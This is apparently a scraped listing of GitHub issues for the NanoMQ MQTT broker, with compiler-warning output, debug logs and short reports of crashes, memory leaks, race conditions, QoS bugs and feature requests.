[275/283] Building C object nanomq/CMakeFiles/nanomq.dir/pub_handler.c.o
In file included from ../nanomq/pub_handler.c:14:
../nanolib/include/mqtt_db.h:34:3: warning: redefinition of typedef 'db_node' is a C11 feature [-Wtypedef-redefinition]
} db_node;
^
../nanolib/include/mqtt_db.h:11:24: note: previous definition is here
typedef struct db_node db_node;
^
../nanomq/pub_handler.c:665:31: warning: passing 'int *' to parameter of type 'uint32_t *' (aka 'unsigned int *') converts between pointers to integer types with different sign [-Wpointer-sign]
copy_utf8_str(msg_body, &pos, &len);
^~~~
../nng/include/nng/protocol/mqtt/mqtt_parser.h:37:35: note: passing argument to parameter 'pos' here
const uint8_t *src, uint32_t *pos, int *str_len);
^
../nanomq/pub_handler.c:664:55: warning: assigning to 'char *' from 'uint8_t *' (aka 'unsigned char *') converts between pointers to integer types with different sign [-Wpointer-sign]
pub_packet->variable_header.publish.topic_name.body =
^
../nanomq/pub_handler.c:711:34: warning: passing 'int *' to parameter of type 'uint32_t *' (aka 'unsigned int *') converts between pointers to integer types with different sign [-Wpointer-sign]
get_var_integer(msg_body, &len_of_varint);
^~~~~~~~~~~~~~
../nng/include/nng/protocol/mqtt/mqtt_parser.h:33:65: note: passing argument to parameter 'pos' here
NNG_DECL uint32_t get_var_integer(const uint8_t *buf, uint32_t *pos);
^
../nanomq/pub_handler.c:723:36: warning: passing 'int *' to parameter of type 'uint32_t *' (aka 'unsigned int *') converts between pointers to integer types with different sign [-Wpointer-sign]
get_var_integer(msg_body, &pos);
^~~~
../nng/include/nng/protocol/mqtt/mqtt_parser.h:33:65: note: passing argument to parameter 'pos' here
NNG_DECL uint32_t get_var_integer(const uint8_t *buf, uint32_t *pos);
^
../nanomq/pub_handler.c:798:22: warning: passing 'int *' to parameter of type 'uint32_t *' (aka 'unsigned int *') converts between pointers to integer types with different sign [-Wpointer-sign]
msg_body, &pos);
^~~~
../nng/include/nng/protocol/mqtt/mqtt_parser.h:35:74: note: passing argument to parameter 'pos' here
NNG_DECL int32_t get_utf8_str(char **dest, const uint8_t *src, uint32_t *pos);
^
../nanomq/pub_handler.c:859:22: warning: passing 'int *' to parameter of type 'uint32_t *' (aka 'unsigned int *') converts between pointers to integer types with different sign [-Wpointer-sign]
msg_body, &pos);
^~~~
../nng/include/nng/protocol/mqtt/mqtt_parser.h:35:74: note: passing argument to parameter 'pos' here
NNG_DECL int32_t get_utf8_str(char **dest, const uint8_t *src, uint32_t *pos);
^
../nanomq/pub_handler.c:939:22: warning: passing 'int *' to parameter of type 'uint32_t *' (aka 'unsigned int *') converts between pointers to integer types with different sign [-Wpointer-sign]
msg_body, &pos);
^~~~
../nng/include/nng/protocol/mqtt/mqtt_parser.h:35:74: note: passing argument to parameter 'pos' here
NNG_DECL int32_t get_utf8_str(char **dest, const uint8_t *src, uint32_t *pos);
^
../nanomq/pub_handler.c:964:22: warning: passing 'int *' to parameter of type 'uint32_t *' (aka 'unsigned int *') converts between pointers to integer types with different sign [-Wpointer-sign]
msg_body, &pos);
^~~~
../nng/include/nng/protocol/mqtt/mqtt_parser.h:35:74: note: passing argument to parameter 'pos' here
NNG_DECL int32_t get_utf8_str(char **dest, const uint8_t *src, uint32_t *pos);
^
../nanomq/pub_handler.c:993:16: warning: passing 'int *' to parameter of type 'uint32_t *' (aka 'unsigned int *') converts between pointers to integer types with different sign [-Wpointer-sign]
&len_of_varint);
^~~~~~~~~~~~~~
../nng/include/nng/protocol/mqtt/mqtt_parser.h:33:65: note: passing argument to parameter 'pos' here
NNG_DECL uint32_t get_var_integer(const uint8_t *buf, uint32_t *pos);
^
../nanomq/pub_handler.c:1073:34: warning: passing 'int *' to parameter of type 'uint32_t *' (aka 'unsigned int *') converts between pointers to integer types with different sign [-Wpointer-sign]
get_var_integer(msg_body, &pos);
^~~~
../nng/include/nng/protocol/mqtt/mqtt_parser.h:33:65: note: passing argument to parameter 'pos' here
NNG_DECL uint32_t get_var_integer(const uint8_t *buf, uint32_t *pos);
^
../nanomq/pub_handler.c:1078:35: warning: passing 'int *' to parameter of type 'uint32_t *' (aka 'unsigned int *') converts between pointers to integer types with different sign [-Wpointer-sign]
get_var_integer(msg_body, &pos);
^~~~
../nng/include/nng/protocol/mqtt/mqtt_parser.h:33:65: note: passing argument to parameter 'pos' here
NNG_DECL uint32_t get_var_integer(const uint8_t *buf, uint32_t *pos);
^
../nanomq/pub_handler.c:1087:20: warning: passing 'int *' to parameter of type 'uint32_t *' (aka 'unsigned int *') converts between pointers to integer types with different sign [-Wpointer-sign]
msg_body, &pos);
^~~~
../nng/include/nng/protocol/mqtt/mqtt_parser.h:35:74: note: passing argument to parameter 'pos' here
NNG_DECL int32_t get_utf8_str(char **dest, const uint8_t *src, uint32_t *pos);
^
../nanomq/pub_handler.c:1109:21: warning: passing 'int *' to parameter of type 'uint32_t *' (aka 'unsigned int *') converts between pointers to integer types with different sign [-Wpointer-sign]
msg_body, &pos);
^~~~
../nng/include/nng/protocol/mqtt/mqtt_parser.h:35:74: note: passing argument to parameter 'pos' here
NNG_DECL int32_t get_utf8_str(char **dest, const uint8_t *src, uint32_t *pos);
^
../nanomq/pub_handler.c:1127:21: warning: passing 'int *' to parameter of type 'uint32_t *' (aka 'unsigned int *') converts between pointers to integer types with different sign [-Wpointer-sign]
msg_body, &pos);
^~~~
../nng/include/nng/protocol/mqtt/mqtt_parser.h:35:74: note: passing argument to parameter 'pos' here
NNG_DECL int32_t get_utf8_str(char **dest, const uint8_t *src, uint32_t *pos);
^
15 warnings generated.
[276/283] Building C object nanomq/apps/CMakeFiles/apps.dir/broker.c.o
In file included from ../nanomq/apps/broker.c:19:
../nanolib/include/mqtt_db.h:34:3: warning: redefinition of typedef 'db_node' is a C11 feature [-Wtypedef-redefinition]
} db_node;
^
../nanolib/include/mqtt_db.h:11:24: note: previous definition is here
typedef struct db_node db_node;
^
../nanomq/apps/broker.c:110:9: warning: passing 'const void *' to parameter of type 'mqtt_string *' (aka 'struct mqtt_string *') discards qualifiers [-Wincompatible-pointer-types-discards-qualifiers]
conn_param_get_will_msg(work->cparam),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
../nng/include/nng/protocol/mqtt/mqtt_parser.h:51:47: note: passing argument to parameter 'payload' here
uint8_t retain, uint8_t qos, mqtt_string *payload, mqtt_string *topic);
^
../nanomq/apps/broker.c:111:9: warning: passing 'const void *' to parameter of type 'mqtt_string *' (aka 'struct mqtt_string *') discards qualifiers [-Wincompatible-pointer-types-discards-qualifiers]
conn_param_get_will_topic(work->cparam));
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
../nng/include/nng/protocol/mqtt/mqtt_parser.h:51:69: note: passing argument to parameter 'topic' here
uint8_t retain, uint8_t qos, mqtt_string *payload, mqtt_string *topic);
^
../nanomq/apps/broker.c:491:1: warning: non-void function does not return a value [-Wreturn-type]
}
^
../nanomq/apps/broker.c:551:1: warning: non-void function does not return a value in all control paths [-Wreturn-type]
}
^
../nanomq/apps/broker.c:683:1: warning: non-void function does not return a value in all control paths [-Wreturn-type]
}
^
6 warnings generated.
[277/283] Building C object nanolib/CMakeFiles/nanolib.dir/mqtt_db.c.o
In file included from ../nanolib/mqtt_db.c:15:
../nanolib/include/mqtt_db.h:34:3: warning: redefinition of typedef 'db_node' is a C11 feature [-Wtypedef-redefinition]
} db_node;
^
../nanolib/include/mqtt_db.h:11:24: note: previous definition is here
typedef struct db_node db_node;
^
1 warning generated.
[279/283] Building CXX object nanolib/CMakeFiles/nanolib.dir/hash.cc.o
../nanolib/hash.cc:442:6: warning: unused variable 't_num' [-Wunused-variable]
int t_num = 0;
^
1 warning generated.
[283/283] Linking CXX executable nanomq/nanomq
``` | OSX compiler warnings when compiling | https://api.github.com/repos/nanomq/nanomq/issues/173/comments | 1 | 2021-07-20T00:56:28Z | 2021-12-03T00:35:53Z | https://github.com/nanomq/nanomq/issues/173 | 948,144,650 | 173 |
[
"emqx",
"nanomq"
] | when setting num of ctx to 1024, broker won't start normally | Cannot allocate more than 256 context (num of parallelism) | https://api.github.com/repos/nanomq/nanomq/issues/171/comments | 0 | 2021-07-19T08:28:48Z | 2021-07-19T16:37:12Z | https://github.com/nanomq/nanomq/issues/171 | 947,405,375 | 171 |
[
"emqx",
"nanomq"
] | keep connect and disconnect massive amount of client to broker. At some point, it drains up all fd of OS, then broker stop responding to any request, even after fd got freed.
it turns out the pr (aio_expire_q) from nng upstream has a hidden bug. So I am gonna revert that pr | broker halts | https://api.github.com/repos/nanomq/nanomq/issues/168/comments | 0 | 2021-07-19T07:19:46Z | 2021-07-19T07:26:33Z | https://github.com/nanomq/nanomq/issues/168 | 947,348,205 | 168 |
[
"emqx",
"nanomq"
] | PUBCOMP/PUBACK should be processed in the same layer (transport or protocol)? | [BUG] Heap-use-after-free, data racing on QoS msg ack | https://api.github.com/repos/nanomq/nanomq/issues/166/comments | 0 | 2021-07-17T15:12:18Z | 2021-07-19T16:37:13Z | https://github.com/nanomq/nanomq/issues/166 | 946,842,299 | 166 |
[
"emqx",
"nanomq"
] | Pipe event needs to be processed synchronously | https://api.github.com/repos/nanomq/nanomq/issues/165/comments | 0 | 2021-07-17T06:03:26Z | 2021-07-19T16:37:13Z | https://github.com/nanomq/nanomq/issues/165 | 946,726,463 | 165 | |
[
"emqx",
"nanomq"
] | Unsafe bug when doing Sub
| ASAN report SEGV on Unknown address | https://api.github.com/repos/nanomq/nanomq/issues/163/comments | 2 | 2021-07-16T06:11:27Z | 2021-09-20T12:52:36Z | https://github.com/nanomq/nanomq/issues/163 | 945,977,510 | 163 |
[
"emqx",
"nanomq"
] | It returns wrong value with 256 > len > 127 | Remaining length incorrect with put_var_integer | https://api.github.com/repos/nanomq/nanomq/issues/162/comments | 0 | 2021-07-16T04:03:38Z | 2021-07-19T16:37:13Z | https://github.com/nanomq/nanomq/issues/162 | 945,922,963 | 162 |
[
"emqx",
"nanomq"
] | From MQTT specification we have: _The Client Identifier (Client ID) is between 1 and 23 characters long_
Works:
```
mosquitto_pub --id "$(openssl rand -hex 1)" -h 127.0.0.1 -t "test" -m "$(openssl rand -hex 21)"
mosquitto_pub --id "$(openssl rand -hex 10)" -h 127.0.0.1 -t "test" -m "$(openssl rand -hex 21)"
mosquitto_pub --id "$(openssl rand -hex 100)" -h 127.0.0.1 -t "test" -m "$(openssl rand -hex 21)"
mosquitto_pub --id "$(openssl rand -hex 1000)" -h 127.0.0.1 -t "test" -m "$(openssl rand -hex 21)"
mosquitto_pub --id "$(openssl rand -hex 10000)" -h 127.0.0.1 -t "test" -m "$(openssl rand -hex 21)"
```
Fails (message is not sent to sub), no error (maybe there is an overflow underhood?):
```
mosquitto_pub --id "$(openssl rand -hex 100000)" -h 127.0.0.1 -t "test" -m "$(openssl rand -hex 21)"
``` | sanity check for --id length | https://api.github.com/repos/nanomq/nanomq/issues/157/comments | 8 | 2021-07-06T14:57:44Z | 2021-07-10T23:59:46Z | https://github.com/nanomq/nanomq/issues/157 | 937,987,332 | 157 |
[
"emqx",
"nanomq"
] | ```
cd nanomq
mkdir build
cmake -DMQ=0 ..
make -j8
./build/nanomq/nanomq broker start
.
.
.
ERROR: pipe is gone, pub failed
```
```
(base) lvmc@Luizs-MacBook-Pro ~ % mosquitto_sub -h 127.0.0.1 -t 'banana'
```
```
(base) lvmc@Luizs-MacBook-Pro ~ % mosquitto_pub -h 127.0.0.1 -t 'banana' -m 'x'
Error: The connection was lost.
```
MacOS Big Sur 11.4
| Error: The connection was lost. | https://api.github.com/repos/nanomq/nanomq/issues/153/comments | 15 | 2021-07-05T03:54:42Z | 2021-07-06T12:39:54Z | https://github.com/nanomq/nanomq/issues/153 | 936,655,088 | 153 |
[
"emqx",
"nanomq"
] | publish stopped after keepalived period passed | https://api.github.com/repos/nanomq/nanomq/issues/149/comments | 0 | 2021-07-01T02:33:27Z | 2021-07-02T04:34:58Z | https://github.com/nanomq/nanomq/issues/149 | 934,302,810 | 149 | |
[
"emqx",
"nanomq"
] | [BUG] client is disconnected after recevie normal connack. | https://api.github.com/repos/nanomq/nanomq/issues/147/comments | 0 | 2021-06-29T12:12:27Z | 2021-06-30T06:31:22Z | https://github.com/nanomq/nanomq/issues/147 | 932,575,415 | 147 | |
[
"emqx",
"nanomq"
] | [BUG] broker crashed with high connection rate. | https://api.github.com/repos/nanomq/nanomq/issues/146/comments | 0 | 2021-06-29T12:11:23Z | 2021-06-30T06:31:22Z | https://github.com/nanomq/nanomq/issues/146 | 932,574,124 | 146 | |
[
"emqx",
"nanomq"
] | [BUG]: allow anonymous login doen't work | https://api.github.com/repos/nanomq/nanomq/issues/145/comments | 0 | 2021-06-29T09:11:32Z | 2021-06-30T06:31:22Z | https://github.com/nanomq/nanomq/issues/145 | 932,400,770 | 145 | |
[
"emqx",
"nanomq"
] | deamon controller in nanomq.conf has no effect | https://api.github.com/repos/nanomq/nanomq/issues/143/comments | 0 | 2021-06-28T08:48:31Z | 2021-06-28T13:06:28Z | https://github.com/nanomq/nanomq/issues/143 | 931,329,080 | 143 | |
[
"emqx",
"nanomq"
] | Username/Password Authentication support | https://api.github.com/repos/nanomq/nanomq/issues/141/comments | 1 | 2021-06-25T10:11:22Z | 2021-06-30T14:20:34Z | https://github.com/nanomq/nanomq/issues/141 | 930,036,488 | 141 | |
[
"emqx",
"nanomq"
] | One simple CONNECT logic requires atleast 3 times, up to 5 times of aio usage.
this should be able to reduce to just 2. | Too much aio use during connection stage | https://api.github.com/repos/nanomq/nanomq/issues/139/comments | 1 | 2021-06-24T10:37:32Z | 2021-06-26T07:33:39Z | https://github.com/nanomq/nanomq/issues/139 | 929,090,174 | 139 |
[
"emqx",
"nanomq"
] | Last will topic and msg are not yet supported. | Need to support LWT | https://api.github.com/repos/nanomq/nanomq/issues/136/comments | 0 | 2021-06-16T03:23:22Z | 2021-06-24T08:53:02Z | https://github.com/nanomq/nanomq/issues/136 | 922,049,411 | 136 |
[
"emqx",
"nanomq"
] | With clean session set to 0, QoS 1/2 msgs ought to be kept in session and retransmit after reconnection. however msgs got lost in such case. | Msg lost of session keeping | https://api.github.com/repos/nanomq/nanomq/issues/134/comments | 0 | 2021-06-11T15:06:53Z | 2021-11-19T03:02:33Z | https://github.com/nanomq/nanomq/issues/134 | 918,868,628 | 134 |
[
"emqx",
"nanomq"
] | Currently, NanoMQ's retain msg semantic is broken, needs a deep rewind. | Support Retain msg | https://api.github.com/repos/nanomq/nanomq/issues/133/comments | 1 | 2021-06-08T10:40:51Z | 2021-06-10T14:53:28Z | https://github.com/nanomq/nanomq/issues/133 | 914,796,219 | 133 |
[
"emqx",
"nanomq"
] | Hi there, I found an issue when
(step 1) using the particular ClientID to subscribe a topic with a non-clean_session flag (`-c`) in mosquitto,
(step 2) then disconnect,
(step 3) and then use that same ClientID to subscribe a topic without a non-clean_session flag,
(step 4) and then disconnect,
(step 5) then use that same ClientID to subscribe a topic with the non-clean_session flag.
The following occurs:
mosquito tells me that it is attempting to connect with the broker and could not succeed.
The following is some specs about my testing environment and my testing tools:
`mosquitto_sub`
NanoMQ broker, commit 1f897bd6e30fd0749a144991c68cdd8c536ae956
Test cases I used:
```bash
mosquitto_sub -h 192.168.1.107 -p 1883 -q 0 -d -i client1 -c -t test1 -k 400 -t test3
mosquitto_sub -h 192.168.1.107 -p 1883 -q 0 -d -i client1 -t test1 -k 400 -t test3
mosquitto_sub -h 192.168.1.107 -p 1883 -q 0 -d -i client1 -c -t test1 -k 400 -t test3
| Unable to Connect When a ClientID Gets Reused in Some Cases (Clean_Session) | https://api.github.com/repos/nanomq/nanomq/issues/128/comments | 0 | 2021-06-05T03:44:11Z | 2021-06-05T09:16:50Z | https://github.com/nanomq/nanomq/issues/128 | 912,087,688 | 128 |
[
"emqx",
"nanomq"
] | memleak in cleansession | https://api.github.com/repos/nanomq/nanomq/issues/126/comments | 1 | 2021-06-04T11:14:09Z | 2021-06-05T03:35:54Z | https://github.com/nanomq/nanomq/issues/126 | 911,397,082 | 126 | |
[
"emqx",
"nanomq"
] | 你好，
我看到 EMQ X 有個叫 [EMQ X Edge](https://www.emqx.io/products/edge)，但單純看官網的話，好像與這個 NanoMQ 差不多，請問兩者有什麼分別？謝謝。 | EMQ X Edge 與 NanoMQ 的分別？ | https://api.github.com/repos/nanomq/nanomq/issues/115/comments | 2 | 2021-06-01T11:43:53Z | 2021-06-02T04:11:43Z | https://github.com/nanomq/nanomq/issues/115 | 908,205,086 | 115 |
[
"emqx",
"nanomq"
] | null | is it production ready? | https://api.github.com/repos/nanomq/nanomq/issues/102/comments | 2 | 2021-05-17T21:07:47Z | 2022-06-01T11:18:46Z | https://github.com/nanomq/nanomq/issues/102 | 893,715,246 | 102 |
[
"emqx",
"nanomq"
] | 主要目前是EMQX，无意在逛官方发现NanoMQ，感觉是边缘计算，搭建在终端的MQTT5.0 Broker吗?
| 咨询下与EMQX的区别 | https://api.github.com/repos/nanomq/nanomq/issues/95/comments | 4 | 2021-04-28T07:00:34Z | 2022-04-25T07:27:42Z | https://github.com/nanomq/nanomq/issues/95 | 869,569,786 | 95 |
[
"emqx",
"nanomq"
] | current version does not count pingreq as valid packet, so that broker always disconnect connections if there is no other packets are being sent. | release 0.3.3 bug in keepalived timer. | https://api.github.com/repos/nanomq/nanomq/issues/91/comments | 0 | 2021-04-15T08:32:56Z | 2021-04-15T08:33:33Z | https://github.com/nanomq/nanomq/issues/91 | 858,637,587 | 91 |
[
"emqx",
"nanomq"
] | PUBREL packets do not come in a sequence which results in QoS msg never gets freed.
| Potential memleak with high QoS message throughput. | https://api.github.com/repos/nanomq/nanomq/issues/84/comments | 0 | 2021-04-01T04:26:32Z | 2021-04-01T04:29:09Z | https://github.com/nanomq/nanomq/issues/84 | 847,888,966 | 84 |
[
"emqx",
"nanomq"
] | 目前支持websocket吗？没看到如何配置websocket端口。 | https://api.github.com/repos/nanomq/nanomq/issues/83/comments | 6 | 2021-03-30T07:27:58Z | 2021-12-03T00:36:19Z | https://github.com/nanomq/nanomq/issues/83 | 844,169,584 | 83 | |
[
"emqx",
"nanomq"
] | QoS retry mechanism needs a deep review.
considering following 2 stages in the next coming version:
1. Move QoS AIO from the transport layer to protocol layer, and only send PUBACK/PUBREC after PUBLISH has been sent.
2. Refactoring QoS retry mechanism by constraining PUBLISH sequence.
| QoS 2 msg duplicates | https://api.github.com/repos/nanomq/nanomq/issues/82/comments | 1 | 2021-03-23T14:47:32Z | 2021-04-01T05:52:46Z | https://github.com/nanomq/nanomq/issues/82 | 838,806,124 | 82 |
[
"emqx",
"nanomq"
] | Replace nni_timer_schedule with nni_sleep_aio | Keepalived Timer consumes too much CPU time | https://api.github.com/repos/nanomq/nanomq/issues/78/comments | 0 | 2021-03-12T13:55:21Z | 2021-05-12T07:48:41Z | https://github.com/nanomq/nanomq/issues/78 | 830,141,916 | 78 |
[
"emqx",
"nanomq"
] | potential fix:
1. mqtt_db responsible for passing the value of qos level of each msg to the protocol layer.
2. duplicate wildcard topic of each level in nano_db (better not) | NanoMQ drops msg from wildcard topic. | https://api.github.com/repos/nanomq/nanomq/issues/68/comments | 0 | 2021-03-03T07:10:44Z | 2021-07-16T06:14:38Z | https://github.com/nanomq/nanomq/issues/68 | 820,821,086 | 68 |
[
"emqx",
"nanomq"
] | A segmentation fault occurs when a mosquitto client tries to pub a message.
To reproduce this problem, first, launch nanomq broker, the `localhost:1883` was used. Then subscribe to a message using mosquitto_sub before publishing a message with mosquitto_pub. The particular command used is `mosquitto_sub -h "127.0.0.1" -t "abc/123" -d` and `mosquitto_pub -h "127.0.0.1" -d -t "abc/123" -p 1883 -m "hello"`. The topic of the message could be any type, that is with and without a wildcard character.
This issue won't be regenerated if a specific client_id is designated for the publisher, for example, no issue will occur when the command `mosquitto_pub -t "abc/123" -m "hello" -h "127.0.0.1" -d -i "abcdefglkfjewjvweionfioewnriejfiewjfwe"`. As for the subscriber, no issue will occur even if no specific client_id is designated.
By using a debugging function given by VSCode, the exception can be located at the place where the attached screenshot shows.
<img width="728" alt="Screen Shot 2021-02-26 at 1 42 44 PM" src="https://user-images.githubusercontent.com/56687458/109260116-83393c00-7838-11eb-88b7-1324b3dfbd51.png">
The following is some spec of the running environment:
System: Linux Ubuntu 20x
mosquitto: version 2.0.5
nanomq: commit 2623df67c64eae19f35e25588e2650d723c3cd17, Feb 26 2020 @ 11:42 | A segmentation fault occurs when a mosquitto client pubs a message | https://api.github.com/repos/nanomq/nanomq/issues/67/comments | 1 | 2021-02-26T05:42:55Z | 2021-07-21T07:10:04Z | https://github.com/nanomq/nanomq/issues/67 | 817,059,667 | 67 |
[
"emqx",
"nanomq"
] | Memory fault when publishing qos msg 1 to 1 (2 to 2) | https://api.github.com/repos/nanomq/nanomq/issues/65/comments | 0 | 2021-02-26T03:40:04Z | 2021-02-26T03:43:50Z | https://github.com/nanomq/nanomq/issues/65 | 817,011,406 | 65 | |
[
"emqx",
"nanomq"
] | performance needs to be improved in 1 to 1 scenario | https://api.github.com/repos/nanomq/nanomq/issues/61/comments | 0 | 2021-02-24T12:54:56Z | 2021-03-03T08:03:16Z | https://github.com/nanomq/nanomq/issues/61 | 815,451,800 | 61 | |
[
"emqx",
"nanomq"
] | Bug Publish QoS 1/2 msg to QoS 0 client cause msg overflow and client disconnect/crash.
Reason tcp_send_start is not reentranable. | Qos Msg overflow | https://api.github.com/repos/nanomq/nanomq/issues/60/comments | 0 | 2021-02-24T12:52:15Z | 2021-02-25T10:09:16Z | https://github.com/nanomq/nanomq/issues/60 | 815,449,806 | 60 |
[
"emqx",
"nanomq"
] | qos msg queue and retry msg queue needs to be self-adaptive. | Make Msg_Queue adaptive automatically | https://api.github.com/repos/nanomq/nanomq/issues/59/comments | 0 | 2021-02-19T02:47:43Z | 2021-08-12T14:03:31Z | https://github.com/nanomq/nanomq/issues/59 | 811,634,989 | 59 |
[
"emqx",
"nanomq"
] | when a client disconnect just after publish, it may trigger a race condition which causes segment fault | pub thread compete for conn_param object | https://api.github.com/repos/nanomq/nanomq/issues/57/comments | 0 | 2021-02-15T08:44:58Z | 2021-02-25T10:37:45Z | https://github.com/nanomq/nanomq/issues/57 | 808,325,754 | 57 |
[
"emqx",
"nanomq"
] | Heap use after free in encode_pub_message when processing massive pub work and client disconnect just after sending publish packet. | potential ilegal memory access in encode_pub_message | https://api.github.com/repos/nanomq/nanomq/issues/54/comments | 0 | 2021-02-14T03:08:45Z | 2021-03-03T08:02:00Z | https://github.com/nanomq/nanomq/issues/54 | 807,877,652 | 54 |
[
"emqx",
"nanomq"
] | Client disconnect abnormally cause mem leak. | Mem leak in conn_param | https://api.github.com/repos/nanomq/nanomq/issues/53/comments | 0 | 2021-02-14T03:07:00Z | 2021-02-14T14:52:16Z | https://github.com/nanomq/nanomq/issues/53 | 807,877,435 | 53 |
[
"emqx",
"nanomq"
] | copy QoS msg header to buffer overflowed. | Msg header overflow | https://api.github.com/repos/nanomq/nanomq/issues/51/comments | 1 | 2021-02-13T03:00:42Z | 2021-02-13T03:23:07Z | https://github.com/nanomq/nanomq/issues/51 | 807,660,869 | 51 |
[
"emqx",
"nanomq"
] | Caching QoS 1/2 msg even when publishing to QOS 0 subscription. Which causes useless msg retrying. | QoS 1/2 msg redundency when QoS degrading. | https://api.github.com/repos/nanomq/nanomq/issues/50/comments | 0 | 2021-02-12T03:21:23Z | 2021-02-15T08:42:54Z | https://github.com/nanomq/nanomq/issues/50 | 806,913,616 | 50 |
[
"emqx",
"nanomq"
] | QoS Msg does not degrade when sending to QoS 0 Subscrption | https://api.github.com/repos/nanomq/nanomq/issues/49/comments | 1 | 2021-02-12T03:18:04Z | 2021-02-13T03:24:42Z | https://github.com/nanomq/nanomq/issues/49 | 806,912,437 | 49 | |
[
"emqx",
"nanomq"
] | cause msg sticking problem. | Racing condition happens when pub Qos 0 to Qos 1/2 | https://api.github.com/repos/nanomq/nanomq/issues/48/comments | 1 | 2021-02-04T11:24:04Z | 2021-02-13T03:23:45Z | https://github.com/nanomq/nanomq/issues/48 | 801,191,594 | 48 |
[
"emqx",
"nanomq"
] | protocol error pops when publishing qos1 msg after qos2. | https://api.github.com/repos/nanomq/nanomq/issues/44/comments | 1 | 2021-01-28T09:11:40Z | 2021-01-30T16:25:08Z | https://github.com/nanomq/nanomq/issues/44 | 795,815,888 | 44 | |
[
"emqx",
"nanomq"
] | racing condition in nano_tcp (nano_qos_msg_repack). | nano_qos_msg_repack is not thread safe | https://api.github.com/repos/nanomq/nanomq/issues/43/comments | 1 | 2021-01-28T03:09:47Z | 2021-01-30T16:24:53Z | https://github.com/nanomq/nanomq/issues/43 | 795,626,568 | 43 |
[
"emqx",
"nanomq"
] | Sub failed/Msg dropped when sending sub request per 1ms | https://api.github.com/repos/nanomq/nanomq/issues/42/comments | 0 | 2021-01-26T11:19:02Z | 2021-03-03T08:04:32Z | https://github.com/nanomq/nanomq/issues/42 | 794,150,161 | 42 | |
[
"emqx",
"nanomq"
] | 从图上看，似乎支持分布式
但是，具体是如何实现的呢？
能不能讲一讲原理
| 这个是这么实现分布式的啊 | https://api.github.com/repos/nanomq/nanomq/issues/30/comments | 1 | 2021-01-05T01:13:47Z | 2022-04-01T07:11:45Z | https://github.com/nanomq/nanomq/issues/30 | 778,490,685 | 30 |
[
"emqx",
"nanomq"
] | 与其编译的时候设置参数，不如使用配置文件来实现。
比如说，ini文件，或者普通的linux配置文件格式都行。
另外，
建议增加用户，密码访问方式；
增加topic过滤功能。
目前来看，似乎只是一个简单的消息中转站。
| 建议增加配置文件 | https://api.github.com/repos/nanomq/nanomq/issues/29/comments | 9 | 2021-01-04T05:25:31Z | 2021-07-21T04:06:26Z | https://github.com/nanomq/nanomq/issues/29 | 777,824,682 | 29 |
[
"emqx",
"nanomq"
] | QOS pub disconnect with heavy stress | https://api.github.com/repos/nanomq/nanomq/issues/21/comments | 0 | 2020-12-25T12:14:44Z | 2020-12-28T09:55:00Z | https://github.com/nanomq/nanomq/issues/21 | 774,721,679 | 21 | |
[
"emqx",
"nanomq"
] | sub_ctx crashed with segment fault when searching for retain msg | rewrite sub_handler.c | https://api.github.com/repos/nanomq/nanomq/issues/18/comments | 1 | 2020-12-16T09:06:24Z | 2021-02-01T08:22:02Z | https://github.com/nanomq/nanomq/issues/18 | 768,609,427 | 18 |
[
"emqx",
"nanomq"
] | crashed with segment fault when adding a huge amount of topics horizontally with a low interval(lower than 30ms).
Sat Nov 21 10:39:55 2020 server_cb: WAIT ^^^^^^^^^^^^^^^^^^^^^ 1 ^^^^
Sat Nov 21 10:39:55 2020 server_cb: WAIT ^^^^^^^^^^^^^^^^^^^^^ 2 ^^^^
Sat Nov 21 10:39:55 2020 decode_sub_message: remainLen: [15] packetid : [2]
Sat Nov 21 10:39:55 2020 decode_sub_message: remainLen: [16] packetid : [2]
Sat Nov 21 10:39:55 2020 decode_sub_message: V:[0 2 0 a] P:[0 a 62 65].
Sat Nov 21 10:39:55 2020 decode_sub_message: V:[0 2 0 b] P:[0 b 62 65].
Sat Nov 21 10:39:55 2020 decode_sub_message: bpos+vpos: [14] remainLen: [15].
Sat Nov 21 10:39:55 2020 decode_sub_message: bpos+vpos: [15] remainLen: [16].
Sat Nov 21 10:39:55 2020 sub_ctx_handle: topicLen: [10] body: [bench/9999]
Sat Nov 21 10:39:55 2020 sub_ctx_handle: topicLen: [11] body: [bench/10000]
[INFO] (../nanolib/mqtt_db.c:592) =========>> SEARCH_NODE_START
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:search_node:597) topic is: , node->topic is:
[INFO] (../nanolib/mqtt_db.c:592) =========>> SEARCH_NODE_START
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:search_node:621) searching no hashtag
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:search_node:597) topic is: , node->topic is:
[INFO] (../nanolib/mqtt_db.c:279) =========>> ADD_NODE_START
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:search_node:621) searching no hashtag
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:new_db_node:218) new_db_node bench
[INFO] (../nanolib/mqtt_db.c:279) =========>> ADD_NODE_START
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:new_db_node:218) new_db_node 9999
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:new_db_node:218) new_db_node bench
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:add_topic:164) add_topic:bench/9999
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:new_db_node:218) new_db_node 10000
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:add_pipe_id:269) add_pipe_id 1753209733, client_id emqtt-jaylin-XPS-playgorund-fed3af126d3f08b3297a
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:add_topic:164) add_topic:bench/10000
Sat Nov 21 10:39:55 2020 sub_ctx_handle: -----CHECKHASHTABLE----clientid: [emqtt-jaylin-XPS-playgorund-fed3af126d3f08b3297a]---topic: [bench/9999]---pipeid: [1753209733]
[INFO] Sat Nov 21 10:39:55 2020 (140689603532544:add_pipe_id:269) add_pipe_id 1753209734, client_id emqtt-jaylin-XPS-playgorund-fee450f38edf305da8ce
Sat Nov 21 10:39:55 2020 sub_ctx_handle: -----CHECKHASHTABLE----clientid: [emqtt-jaylin-XPS-playgorund-fee450f38edf305da8ce]---topic: [bench/10000]---pipeid: [1753209734]
[INFO] (../nanolib/mqtt_db.c:592) =========>> SEARCH_NODE_START
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:search_node:597) topic is: , node->topic is:
[INFO] (../nanolib/mqtt_db.c:592) =========>> SEARCH_NODE_START
[INFO] Sat Nov 21 10:39:55 2020 (140689628710656:search_node:621) searching no hashtag
